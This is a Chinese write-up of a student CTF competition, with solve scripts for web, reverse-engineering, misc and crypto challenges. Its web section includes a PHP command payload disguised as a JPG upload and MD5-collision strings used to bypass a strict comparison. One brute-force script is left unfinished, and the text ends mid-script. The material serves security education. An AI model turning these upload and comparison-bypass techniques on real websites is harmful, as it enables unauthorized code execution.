齐鲁师范学院2025级网络安全新生技能竞赛 WriteUP

这次比赛Web和Pwn都差一道题没做出来(自己还是太菜了 但是整体还可以 侥幸拿了一个第一 这个WP大部分的一把嗦(脚本可能又臭又长) 但是部分题还是有参考价值的(((

ScreenShot_2026-01-11_230105_109

Web

贪吃蛇

1
2
3
4
题目信息 - 贪吃蛇
出题人: AireSein | 难度: 简单

贪吃蛇小游戏,你能达到100000分吗

image-20260110090336672

很简单的一道题 看js文件 然后发现发POST包就行了

image-20260110090315844

比签到难点点

1
2
3
4
5
6
7
8
题目信息 - 比签到难点点
出题人: Ord1nary | 难度: 简单

你拿到了一个看似“正常”的网站...
但很显然,管理员不会光明正大地把东西放在首页,对吗?


尝试逐步对敏感目录进行逐级扫描,找到最终的文件

dirsearch即可

image-20260110100041778

getflag

image-20260110100053490

md5-boss

1
2
3
4
题目信息 - md5-boss
出题人: Ord1nary | 难度: 中等

只有完美相等却又不一样的两个人,才能进入真正的核心世界

这道题在网上找的强比较字符串 curl发送即可

1
2
3
curl -X POST "http://challenge.snige.cn:22027/" \
-d "admin=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2" \
-d "password=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2"

ez_upload

1
2
3
4
5
6
7
8
9
题目信息 - ez_upload
出题人: Ord1nary | 难度: 中等

你误入了“黑客帝国邮箱”。
这玩意号称绝对安全:
——“只允许上传图片,不可能被入侵!”
等等...怎么不对劲……我得尝试一下!
看来管理员对安全的理解,可能只停留在“jpg ≠ 木马”这个水平。
那就试试,用合理的方式上传一份不一样的文件,让系统告诉你答案吧

构建恶意jpg文件

1
<?system("cat /flag");?>

上传即可

image-20260110150015524

然后打开对应url getflag

image-20260110150053100

Reverse

欢迎

1
2
3
4
题目信息 - 欢迎
出题人: Rxlls | 难度: 简单

无描述

这个打开IDA就能找到

image-20260110095249166

也没啥

1
2
3
4
题目信息 - 也没啥
出题人: Duktig | 难度: 简单

真的没啥,很简单的

很简单的一把嗦

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import random

cipher = [214, 23, 219, 82, 148,
138, 135, 181, 42, 136,
176, 80, 225, 112, 199,
14, 21, 221, 118, 228, 229]

random.seed(1)
l = [random.getrandbits(8) for _ in range(5)]

key_stream = []
for seed in l:
random.seed(seed)
key_stream += [random.getrandbits(8) for _ in range(5)]

flag = ''.join(chr(c ^ k) for c, k in zip(cipher, key_stream))
print(flag)

加密

1
2
3
4
题目信息 - 加密
出题人: Rxlls | 难度: 中等

无描述

这道题没看出来有多难(

image-20260110103601787

base64解码

image-20260110103609860

PACKAGE

1
2
3
4
5
6
7
题目信息 - PACKAGE
出题人: Camille | 难度: 中等

程序使用了PyInstaller牌包装袋进行打包。
密码长度: 9个字符
包含子串: "qlctf"
祝你好运!

先解包

image-20260110104749776

再解pyc

image-20260110104803841

最后md5碰撞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import hashlib
import itertools
import string

target_hash = "cf6988b80c3d9712d6e2ff87a98caf26"

# 已知包含 "qlctf",尝试不同位置
base = "qlctf"
for i in range(5): # 4个额外字符的位置
for extra in itertools.product(string.printable, repeat=4):
if i == 0:
password = base + ''.join(extra)
elif i == 1:
password = extra[0] + base + ''.join(extra[1:])
# ... 等等

if hashlib.md5(password.encode()).hexdigest() == target_hash:
print(f"Found: {password}")
break

结果如下

image-20260110104849844

Getflag

image-20260110104842392

迷宫

1
2
3
4
5
6
7
题目信息 - 迷宫
出题人: Rxlls | 难度: 困难

提示:

键盘按键wsad代表上下左右路径
题目的Flag内容为小写字母

打开IDA看代码逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
int start_challenge()
{
char *v0; // rsi
unsigned int v1; // edi
char *v2; // rbx
__int64 v3; // rdx
size_t v4; // rax
size_t v5; // r13
char *v6; // r14
int v7; // ebx
char *v8; // rbp
int v9; // r15d
int v10; // eax
char Str[200]; // [rsp+20h] [rbp-C8h] BYREF

v0 = &maze[16];
v1 = 0;
system("cls");
puts("--- 迷宫地图已加载 ---");
do
{
v2 = v0 - 16;
printf("Row %d: ", v1);
do
{
v3 = (unsigned int)*v2++;
printf("%c ", v3);
}
while ( v2 != v0 );
++v1;
v0 = v2 + 17;
putchar(10);
}
while ( v1 != 10 );
printf(asc_140004469);
scanf("%127s", Str);
v4 = strlen(Str);
v5 = v4;
if ( !v4 )
{
LABEL_15:
system("cls");
return puts(asc_140004556);
}
v6 = Str;
v7 = 1;
v8 = &Str[(unsigned int)(v4 - 1) + 1];
v9 = 1;
do
{
v10 = tolower(*v6);
switch ( v10 )
{
case 'w':
if ( (unsigned int)--v9 > 9 )
goto LABEL_15;
break;
case 's':
if ( ++v9 == 10 )
goto LABEL_15;
break;
case 'a':
if ( v7-- == 0 )
goto LABEL_15;
break;
case 'd':
if ( ++v7 == 16 )
goto LABEL_15;
break;
default:
goto LABEL_15;
}
if ( maze[17 * v9 + v7] == 49 )
goto LABEL_15;
++v6;
}
while ( v6 != v8 );
system("cls");
if ( v9 != 8 || v7 != 14 || v5 != 24 )
return puts(asc_140004556);
puts("\n\n--------------------------------------------");
puts(asc_1400044B8);
puts("--------------------------------------------");
puts("\n你的Flag是:");
printf("QLNUCTF{%s}\n", Str);
return puts("\n--------------------------------------------");
}

用Python一把嗦脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
from collections import deque

# 根据输出的迷宫重建
# 注意:我们看到的输出中,字符之间有空格,但实际存储的没有空格
maze_lines = [
"1111111111111111",
"1#01000100000011",
"1101110101101011",
"1100010001001011",
"1111011101100011",
"1100000100001111",
"1111101101100111",
"1100000000100011",
"11000000001010@1",
"1111111111111111"
]

# 将#和@替换为0(都是通路)
maze = []
for line in maze_lines:
maze.append(line.replace('#', '0').replace('@', '0'))

# 打印迷宫确认
print("迷宫地图(0=通路,1=墙):")
for i, row in enumerate(maze):
print(f"Row {i}: {' '.join(list(row))}")

# 起始位置和目标位置(根据代码)
# 代码中v9从1开始,v7从1开始
# 目标:v9=8, v7=14, v5=24
start = (1, 1) # (row, col)
end = (8, 14) # (row, col)
exact_steps = 24

# 方向映射
dirs = {
'w': (-1, 0), # 上
's': (1, 0), # 下
'a': (0, -1), # 左
'd': (0, 1) # 右
}

# 边界检查函数(完全模拟原程序)
def check_move(row, col, move):
"""模拟原程序的边界检查,返回新的位置和是否有效"""
new_row, new_col = row, col

if move == 'w':
new_row -= 1
# if ((unsigned int)--v9 > 9) 当v9-1为负数时,无符号数会很大
if new_row < 0 or new_row > 9:
return None, False

elif move == 's':
new_row += 1
# if (++v9 == 10)
if new_row == 10:
return None, False

elif move == 'a':
# if (v7-- == 0) - 先检查v7是否为0,然后v7减1
if col == 0:
return None, False
new_col -= 1

elif move == 'd':
new_col += 1
# if (++v7 == 16)
if new_col == 16:
return None, False

return (new_row, new_col), True

# 检查是否是墙
def is_wall(pos):
if pos is None:
return True
row, col = pos
# maze[17 * v9 + v7] == 49 (字符'1')
# 迷宫每行16个字符,但代码中每行17个元素(可能是\0结尾)
# 所以索引是 17*row + col
index = 17 * row + col
# 由于我们的maze每行只有16个字符,我们需要处理
# 实际上,每行16个字符+1个\0,所以第col个字符在row*16 + col
# 但代码使用17*row+col,所以我们需要调整
# 让我们计算正确的索引
actual_index = row * 16 + col
if actual_index < 0 or actual_index >= len("".join(maze)):
return True
return "".join(maze)[actual_index] == '1'

# 使用BFS搜索所有可能的24步路径
def find_paths_bfs():
# 状态: (row, col, steps, path)
queue = deque()
queue.append((start[0], start[1], 0, ""))

solutions = []
# 记录访问状态,避免重复
visited_states = set()

while queue:
row, col, steps, path = queue.popleft()

# 如果已经24步
if steps == exact_steps:
if (row, col) == end:
solutions.append(path)
continue

# 尝试四个方向
for move in ['w', 's', 'a', 'd']:
new_pos, valid = check_move(row, col, move)
if not valid:
continue

# 检查是否是墙
if is_wall(new_pos):
continue

new_row, new_col = new_pos
new_steps = steps + 1
new_path = path + move

# 创建状态键
state_key = (new_row, new_col, new_steps, new_path[-4:] if len(new_path) >= 4 else new_path)

if state_key not in visited_states:
visited_states.add(state_key)
queue.append((new_row, new_col, new_steps, new_path))

return solutions

# 尝试DFS搜索,可能更有效
def find_paths_dfs():
solutions = []

def dfs(row, col, steps, path):
nonlocal solutions

# 如果已经24步
if steps == exact_steps:
if (row, col) == end:
solutions.append(path)
return

# 剪枝:如果不可能在剩余步数内到达终点
remaining_steps = exact_steps - steps
distance = abs(row - end[0]) + abs(col - end[1])
if distance > remaining_steps:
return

# 尝试四个方向
for move in ['w', 's', 'a', 'd']:
new_pos, valid = check_move(row, col, move)
if not valid:
continue

# 检查是否是墙
if is_wall(new_pos):
continue

new_row, new_col = new_pos
dfs(new_row, new_col, steps + 1, path + move)

dfs(start[0], start[1], 0, "")
return solutions

print(f"\n起点: {start}")
print(f"终点: {end}")
print(f"需要步数: {exact_steps}")

# 计算最短路径长度
def shortest_path_length():
queue = deque()
queue.append((start[0], start[1], 0))
visited = [[False] * 16 for _ in range(10)]
visited[start[0]][start[1]] = True

while queue:
row, col, steps = queue.popleft()

if (row, col) == end:
return steps

for move in ['w', 's', 'a', 'd']:
new_pos, valid = check_move(row, col, move)
if not valid:
continue

new_row, new_col = new_pos
if not is_wall(new_pos) and not visited[new_row][new_col]:
visited[new_row][new_col] = True
queue.append((new_row, new_col, steps + 1))

return -1

shortest = shortest_path_length()
print(f"最短路径长度: {shortest}")

if shortest > exact_steps:
print("错误:最短路径长度已经超过24步,不可能有24步的路径")
elif shortest == -1:
print("错误:无法到达终点")
else:
print(f"需要绕路增加 {exact_steps - shortest} 步")

# 搜索24步路径
print("\n搜索24步路径中...")
solutions = find_paths_dfs()

if solutions:
print(f"找到 {len(solutions)} 条24步路径")

# 验证并显示前几条路径
for i, path in enumerate(solutions[:3]):
print(f"\n路径 {i+1}: {path}")

# 验证路径
row, col = start
valid = True
for j, move in enumerate(path):
new_pos, move_valid = check_move(row, col, move)
if not move_valid:
print(f" 第{j+1}{move}: 无效移动")
valid = False
break

if is_wall(new_pos):
print(f" 第{j+1}{move}: 撞墙")
valid = False
break

row, col = new_pos
print(f" 第{j+1}{move}: 位置({row},{col})")

if valid and (row, col) == end:
print(f" ✓ 有效路径,到达终点")
else:
print(f" ✗ 无效路径")
else:
print("未找到24步路径,尝试BFS搜索...")
solutions = find_paths_bfs()

if solutions:
print(f"找到 {len(solutions)} 条24步路径")
for i, path in enumerate(solutions[:3]):
print(f"路径 {i+1}: {path}")
else:
print("仍未找到24步路径")

# 尝试寻找接近24步的路径
print("\n寻找接近24步的路径...")
for target in range(20, 30):
if target == exact_steps:
continue

exact_steps = target
solutions = find_paths_dfs()
if solutions:
print(f"找到{target}步路径: {solutions[0]}")
break

# 可视化一个示例路径
if solutions:
print("\n=== 路径可视化 ===")
path = solutions[0]
row, col = start

# 创建迷宫副本
maze_viz = [list(row) for row in maze_lines]
maze_viz[start[0]][start[1]] = 'S'
maze_viz[end[0]][end[1]] = 'E'

# 标记路径
path_positions = [start]
for move in path:
new_pos, _ = check_move(row, col, move)
row, col = new_pos
path_positions.append((row, col))

for r, c in path_positions[1:-1]: # 不包括起点和终点
if maze_viz[r][c] == '0':
maze_viz[r][c] = '*'

print("迷宫图例: S=起点, E=终点, *=路径, 1=墙, 0=通路")
for i, row in enumerate(maze_viz):
print(f"Row {i}: {' '.join(row)}")

getflag

image-20260110110321511

Misc

签到

1
2
3
4
题目信息 - 签到
出题人: Anonymous | 难度: 基础

QLNUCTF{This_is_a_free_point_question}

交上就行(

超级拼装

1
2
3
4
题目信息 - 超级拼装
出题人: Flaneur | 难度: 简单

想办法帮猪猪侠完成超级拼装

Python代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
import os
import cv2
import numpy as np
from PIL import Image
import re
import matplotlib.pyplot as plt

def natural_sort_key(s):
"""
自然排序函数,使block_10排在block_2之后
"""
return [int(text) if text.isdigit() else text.lower()
for text in re.split('(\d+)', s)]

def find_grid_size(num_blocks):
"""
根据块的数量找到最合适的网格布局
"""
# 尝试找到最接近平方根的整数
sqrt_n = int(np.sqrt(num_blocks))

for rows in range(sqrt_n, 0, -1):
if num_blocks % rows == 0:
cols = num_blocks // rows
return rows, cols

# 如果没有整除的情况,选择一个接近平方根的布局
cols = int(np.ceil(np.sqrt(num_blocks)))
rows = int(np.ceil(num_blocks / cols))
return rows, cols

def stitch_images(blocks_dir, output_path='stitched_image.png'):
"""
拼接图像块

参数:
blocks_dir: 包含block_*目录的路径
output_path: 输出图像的保存路径
"""
# 获取所有block目录并排序
block_dirs = []
for item in os.listdir(blocks_dir):
item_path = os.path.join(blocks_dir, item)
if os.path.isdir(item_path) and item.startswith('block_'):
block_dirs.append(item)

# 按自然顺序排序
block_dirs.sort(key=natural_sort_key)

print(f"找到 {len(block_dirs)} 个图像块")

if len(block_dirs) == 0:
print("未找到block目录")
return

# 读取第一个图像块以获取图像尺寸
first_block_path = os.path.join(blocks_dir, block_dirs[0], 'part.png')
first_img = cv2.imread(first_block_path)
if first_img is None:
# 如果OpenCV读取失败,尝试用PIL
first_img_pil = Image.open(first_block_path)
first_img = cv2.cvtColor(np.array(first_img_pil), cv2.COLOR_RGB2BGR)

if first_img is None:
print(f"无法读取图像: {first_block_path}")
return

img_height, img_width = first_img.shape[:2]
print(f"每个图像块尺寸: {img_width}x{img_height}")

# 确定网格布局
rows, cols = find_grid_size(len(block_dirs))
print(f"使用 {rows}行 x {cols}列 的网格布局")

# 创建拼接画布
stitched_height = rows * img_height
stitched_width = cols * img_width
stitched_image = np.zeros((stitched_height, stitched_width, 3), dtype=np.uint8)

# 将图像块放置到网格中
for i, block_dir in enumerate(block_dirs):
part_path = os.path.join(blocks_dir, block_dir, 'part.png')

# 读取图像
img = cv2.imread(part_path)
if img is None:
# 如果OpenCV读取失败,尝试用PIL
try:
img_pil = Image.open(part_path)
img = cv2.cvtColor(np.array(img_pil), cv2.COLOR_RGB2BGR)
except Exception as e:
print(f"无法读取图像 {part_path}: {e}")
continue

# 计算网格位置
row = i // cols
col = i % cols

# 确保图像块尺寸一致
if img.shape[0] != img_height or img.shape[1] != img_width:
print(f"调整图像块 {block_dir} 的尺寸")
img = cv2.resize(img, (img_width, img_height))

# 将图像块放置到画布上
y_start = row * img_height
y_end = y_start + img_height
x_start = col * img_width
x_end = x_start + img_width

stitched_image[y_start:y_end, x_start:x_end] = img

# 保存结果
cv2.imwrite(output_path, stitched_image)
print(f"拼接完成!图像已保存到: {output_path}")

# 显示结果(可选)
plt.figure(figsize=(12, 8))
plt.imshow(cv2.cvtColor(stitched_image, cv2.COLOR_BGR2RGB))
plt.title(f'拼接结果 ({rows}x{cols} 网格)')
plt.axis('off')
plt.tight_layout()
plt.show()

return stitched_image

def alternative_stitch_with_pil(blocks_dir, output_path='stitched_image_pil.png'):
"""
使用PIL库拼接图像(备选方案)
"""
from PIL import Image

# 获取所有block目录并排序
block_dirs = []
for item in os.listdir(blocks_dir):
item_path = os.path.join(blocks_dir, item)
if os.path.isdir(item_path) and item.startswith('block_'):
block_dirs.append(item)

block_dirs.sort(key=natural_sort_key)

print(f"使用PIL找到 {len(block_dirs)} 个图像块")

if len(block_dirs) == 0:
return

# 读取第一个图像以获取尺寸
first_img_path = os.path.join(blocks_dir, block_dirs[0], 'part.png')
first_img = Image.open(first_img_path)
img_width, img_height = first_img.size

# 确定网格布局
rows, cols = find_grid_size(len(block_dirs))

# 创建新图像
stitched_image = Image.new('RGB', (cols * img_width, rows * img_height))

# 拼接图像
for i, block_dir in enumerate(block_dirs):
img_path = os.path.join(blocks_dir, block_dir, 'part.png')
img = Image.open(img_path)

# 计算位置
row = i // cols
col = i % cols

x = col * img_width
y = row * img_height

# 粘贴图像
stitched_image.paste(img, (x, y))

# 保存
stitched_image.save(output_path)
print(f"PIL拼接完成!图像已保存到: {output_path}")

# 显示
plt.figure(figsize=(12, 8))
plt.imshow(stitched_image)
plt.title(f'PIL拼接结果 ({rows}x{cols} 网格)')
plt.axis('off')
plt.tight_layout()
plt.show()

return stitched_image

if __name__ == "__main__":
# 设置路径(根据你的实际情况修改)
blocks_directory = r"C:\Users\Ambit\Desktop\100"

try:
# 尝试使用OpenCV方法
result = stitch_images(blocks_directory, 'super_assembled.png')

# 如果OpenCV方法失败,尝试PIL方法
if result is None:
print("尝试使用PIL方法...")
alternative_stitch_with_pil(blocks_directory, 'super_assembled_pil.png')
except Exception as e:
print(f"发生错误: {e}")
print("尝试PIL方法作为备选...")
alternative_stitch_with_pil(blocks_directory, 'super_assembled_pil.png')

拿到二维码

image-20260110110659977

找个在线网站解码

image-20260110110720686

base64解码

image-20260110110730204

神秘的图片

1
2
3
4
5
6
7
8
9
10
11
12
13
14
题目信息 - 神秘的图片
出题人: COLLAPSING | 难度: 中等

安全团队在一次日常巡检中,发现某内部服务器的桌面上留有一张普通的风景图片(view.jpg)。
虽然图片看起来并无异常,但日志记录显示曾有未授权用户在此服务器上执行过可疑的“数据嵌入”操作。
我们怀疑这张图片中藏有用于后续渗透的认证凭证,但直接查看和分析文件结构均未发现有效信息。

线索:
调查员在系统缓存中找到一段残破的笔记,上面写着:
“最不起眼的地方,藏着最重要的答案……钥匙就在风景中,但需要先找到正确的方式‘点亮’它。”

你的任务:
从图片中找出隐藏的“钥匙”(密码)。
用这把“钥匙”打开真实的信息层,获取最终的凭证。

题目长这样

image-20260110110950602

明显一把嗦

image-20260110110957994

需要带饭的同学可以填一下

1
2
3
4
5
6
题目信息 - 需要带饭的同学可以填一下
【腾讯文档】需要带饭的同学可以填一下
https://docs.qq.com/form/page/DWndnYkJiRGpNd0Nx

需要带饭的同学可以填一下表格,截至到12点,学长会给大家去买饭
不需要带饭的同学也可以打开问卷看看有没有什么惊喜

这个就直接拿flag

image-20260110114014682

餘音繞梁

1
2
3
4
题目信息 - 餘音繞梁
出题人: Camille | 难度: 简单

在高低起伏的音阶中寻找你想要的答案吧

这个手搓出来是

1
0100 0001 0100 1010 0001 1010 0100 0001 1101 1010 1001 1001 

转十六进制

1
41 4A 1A 41 DA 99

拼接flag

1
QLNUCTF{414a1a41da99}

pipeline

1
2
3
4
5
6
题目信息 - pipeline
出题人: Yime | 难度: 困难

我们截获了一段可疑的流量。
初步分析发现,其中包含多层交互过程,可能隐藏着一些加密信息。
请你顺藤摸瓜,提取出正确的密钥,解开最终的文件,获取 Flag。

首先把ssl.log装载

image-20260110131810665

这个包有数据

image-20260110131832002

使用python转一下数据成zip

1
2
3
4
import binascii
hex_data = "504b03041400090063007d9f165b2860c5ed490000002d00000008000b00666c61672e7478740199070001004145030800bf58b14817c0b081b4688547caaba6c87ed78e042b24742e4067bd5d57ebcccdfdd849dda175324f7a36b25a788077efefc01e6a4b1b6b1b53a8f08058f070b5ec7ff82767eeaf0074504b07082860c5ed490000002d000000504b01021f001400090063007d9f165b2860c5ed490000002d00000008002f000000000000002000000000000000666c61672e7478740a002000000000000100180088cc0e495c13dc0188cc0e495c13dc017f1e8f435c13dc010199070001004145030800504b05060000000001000100650000008a0000000000" # 你提供的全部 hex
with open("output.zip", "wb") as f:
f.write(binascii.unhexlify(hex_data))

下载可疑数据包password.zip

image-20260110132000650

下载解压得到密码

image-20260110132017885

然后解压刚刚的压缩包 得到flag

image-20260110132029998

Crypto

simple_RSA

1
2
3
4
题目信息 - simple_RSA
出题人: Camille | 难度: 简单

无描述

先解密m

1
2
3
4
5
6
7
n = 22739171975590689321205682379293238082665230017100182881359435723517450298341696478367973015031642694424150142802458670205554048348247234502186273240644409908025653060209253103925141404692649963759203793574950276355227260168481802948737021771464497321228240883700530204350771389702177140058562885428694606753052869597601529235448133878809758891112246855881484842556370686253805808408974762164345834079329081648402996196441842313268767345700017057576382125999901883726861638822210360979503331857766180925570375366577112550245328884054547458692999572703560211157450583934489331486098467340031254166689331156939583663243
e = 65537
d = 15612124177391071558004957265951730179404072353776337472414806442397289983126828734007435704783004938863680971444213655256864213489749798795495270621725679665250504067887995371533876476578886396528817826505614578556842788021133210331284175833938332872514547916489754750369521178128983056808750714752728115804000740236270056909675003534306624708217739579882862808230165913278561118525737287838148195768882528027867280338906872449593568653083319894492513907551164770171905204123952402827027516008166843451507517243894256249448373690548033450212558643058742199661102653323671429375813734698475406244600735551527053974337
c = 16407229499704104097200376896158020128898145588744943233569201419384756864303006029725138540596647222823770297840553014704501536972156296119942250191084962917260760959258131886345004818964068946082416470786468715613346229056094838626088471618501880944243740168056636868840213427008843944377929856274225292143830597954666748144941051479511437092149129760766395493451957243034615791304997201651734644527867157433782426382095383215716377644331510637271215777530273421146050033033256618661532311041942992327403074990508836447312597723987468825575942884304918920284115888012134071044426003910874791757200145963475580500496

m = pow(c, d, n)
print("m =", m)

将m转为字符串

1
2
3
4
5
6
7
m = 745828046565781697437802669150607118905238734955706166693575465399804210905105093043693725197596927911474557
import math

byte_len = (m.bit_length() + 7) // 8
m_bytes = m.to_bytes(byte_len, 'big')

print(m_bytes)

三重栅栏吗~

1
2
3
4
5
6
7
8
9
10
题目信息 - 三重栅栏吗~
出题人: Duktig | 难度: 中等

我们截获了敌人一段关键情报,你能破解它,找到隐藏的flag吗?

提示:

原始信息中单词使用下划线连接
加密流程为:明文 → 栅栏加密 → 栅栏加密 → 栅栏加密 → 凯撒加密
凯撒加密为右移,偏移量为个位数

这道题我看逻辑比较简单 就给AI说了点提示词一把嗦了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

def caesar_decrypt(text, shift, direction='left'):
"""凯撒解密(左移为默认)"""
result = []
for ch in text:
if ch == ' ':
result.append(ch)
continue
if 'a' <= ch <= 'z':
base = ord('a')
elif 'A' <= ch <= 'Z':
base = ord('A')
else:
result.append(ch)
continue
if direction == 'left':
shifted = (ord(ch) - base - shift) % 26
else:
shifted = (ord(ch) - base + shift) % 26
result.append(chr(base + shifted))
return ''.join(result)

def rail_fence_decrypt(cipher, rails):
"""栅栏解密——保证顺序正确"""
if rails <= 1 or not cipher:
return cipher

n = len(cipher)
# 1. 先走一遍 zig-zag,记录每个位置属于哪一行
zig = [0] * n
rail, direction = 0, 1
for i in range(n):
zig[i] = rail
rail += direction
if rail == rails - 1 or rail == 0:
direction = -direction

# 2. 统计每行应该分几个字符
count = [0] * rails
for r in zig:
count[r] += 1

# 3. 把密文按行切开
fence = []
pos = 0
for r in range(rails):
fence.append(list(cipher[pos:pos + count[r]]))
pos += count[r]

# 4. 再沿同一条 zig-zag 路线依次取字符
out, ptr = [], [0] * rails
for r in zig:
out.append(fence[r][ptr[r]])
ptr[r] += 1
return ''.join(out)

# ------------------------------------------------
# 真正的挑战密文
cipher = "xxllviwp o f hw mpgjlms rixigmiiger"

# 1. 凯撒左移 4
s1 = caesar_decrypt(cipher, 4, 'left')
print("Step1 凯撒左移4:", repr(s1))

# 2. 栅栏 2 层解密
s2 = rail_fence_decrypt(s1, 2)
print("Step2 栅栏2层 :", repr(s2))

# 3. 栅栏 5 层解密
s3 = rail_fence_decrypt(s2, 5)
print("Step3 栅栏5层 :", repr(s3))

# 4. 栅栏 3 层解密
s4 = rail_fence_decrypt(s3, 3)
print("Step4 栅栏3层 :", repr(s4))

# 5. 空格换回下划线
flag = s4.replace(' ', '_')
print("Step5 换行符 :", flag)

哈库呐玛塔塔

1
2
3
4
题目信息 - 哈库呐玛塔塔
出题人: Camille | 难度: 简单

这是一段来自上个世纪的编码,常用于电子邮件传输。

百度搜一下直接解码就行

image-20260110093149776

新年快乐

1
2
3
4
5
6
7
8
题目信息 - 新年快乐
出题人: Duktig | 难度: 简单

在一个神秘的代码世界里,隐藏着一个代表好运的信息。这个信息被一种特殊的替换加密方式保护了起来。我们知道,在这个加密规则里,英文字母和数字都遵循特定的替换规律,而像 { 和 } 这样的特殊字符则保持不变。
下面给你一些已知的加密对应关系作为提示:
字母 a 加密后变成 z,b 变成 y,c 变成 x,依次类推,呈现一种对称的替换模式,就像字母表从两端向中间靠拢一样。
数字 0 加密后变成 9,1 变成 8,2 变成 7,同样是对称的替换,仿佛数字在镜子里的倒影。
现在,你截获了一段加密后的信息:gsv_Bvzi_lu_gsv_Slihv_rh_zfhkrxrlfh,请运用这些提示,解开这个神秘的信息,找到那个代表好运的 flag!

这道题也是一把嗦 逻辑简单的都可以一把嗦

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def atbash_decrypt(text):
result = []
for ch in text:
if 'a' <= ch <= 'z':
result.append(chr(ord('z') - (ord(ch) - ord('a'))))
elif 'A' <= ch <= 'Z':
result.append(chr(ord('Z') - (ord(ch) - ord('A'))))
elif '0' <= ch <= '9':
result.append(chr(ord('9') - (ord(ch) - ord('0'))))
else:
result.append(ch)
return ''.join(result)

encrypted = "gsv_Bvzi_lu_gsv_Slihv_rh_zfhkrxrlfh"
decrypted = atbash_decrypt(encrypted)
flag = "" + decrypted + ""
print(flag)

残缺的md5

1
2
3
4
题目信息 - 残缺的md5
出题人: Camille | 难度: 简单

无描述

一开始想直接彩虹表 发现并不可以 逻辑比较简单的情况下那就一把嗦吧(

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
import hashlib
import itertools
import string

def brute_force_md5():
target_md5 = "9c32f1679380877fb096d18c86485b2c"
template = "QLNUCTF{R1#ht_#s_R41n_120##}"

print(f"模板: {template}")
print(f"#的位置: {[i for i, c in enumerate(template) if c == '#']}")
print(f"#的数量: {template.count('#')}")

# 找到所有#的位置
positions = [i for i, char in enumerate(template) if char == '#']

# 根据提示:
# 第一个# - 小写字母
# 第二个# - 大写字母
# 其他# - 数字(应该是剩下的两个#)

# 暴力破解所有组合
count = 0
for c1 in string.ascii_lowercase: # 第一个# - 小写字母
for c2 in string.ascii_uppercase: # 第二个# - 大写字母
for c3 in string.digits: # 第三个# - 数字
for c4 in string.digits: # 第四个# - 数字
# 构建字符串
result = list(template)
result[positions[0]] = c1 # 第一个#
result[positions[1]] = c2 # 第二个#
result[positions[2]] = c3 # 第三个#
result[positions[3]] = c4 # 第四个#

current = ''.join(result)

# 计算MD5
md5_hash = hashlib.md5(current.encode()).hexdigest()
count += 1

if md5_hash == target_md5:
print(f"尝试次数: {count}")
print(f"找到匹配的字符串: {current}")
print(f"对应的MD5值: {md5_hash}")
return current

print(f"总共尝试了 {count} 次组合")
return None

if __name__ == "__main__":
print("正在暴力破解...")
result = brute_force_md5()

if not result:
print("未找到匹配的字符串")

# 也许提示的意思是:只有3个#需要替换?
# 尝试不同的解释
print("\n尝试另一种解释:也许只有3个#需要替换?")
print("重新分析模板...")

# 计算总搜索空间
lowercase = len(string.ascii_lowercase) # 26
uppercase = len(string.ascii_uppercase) # 26
digits = len(string.digits) # 10

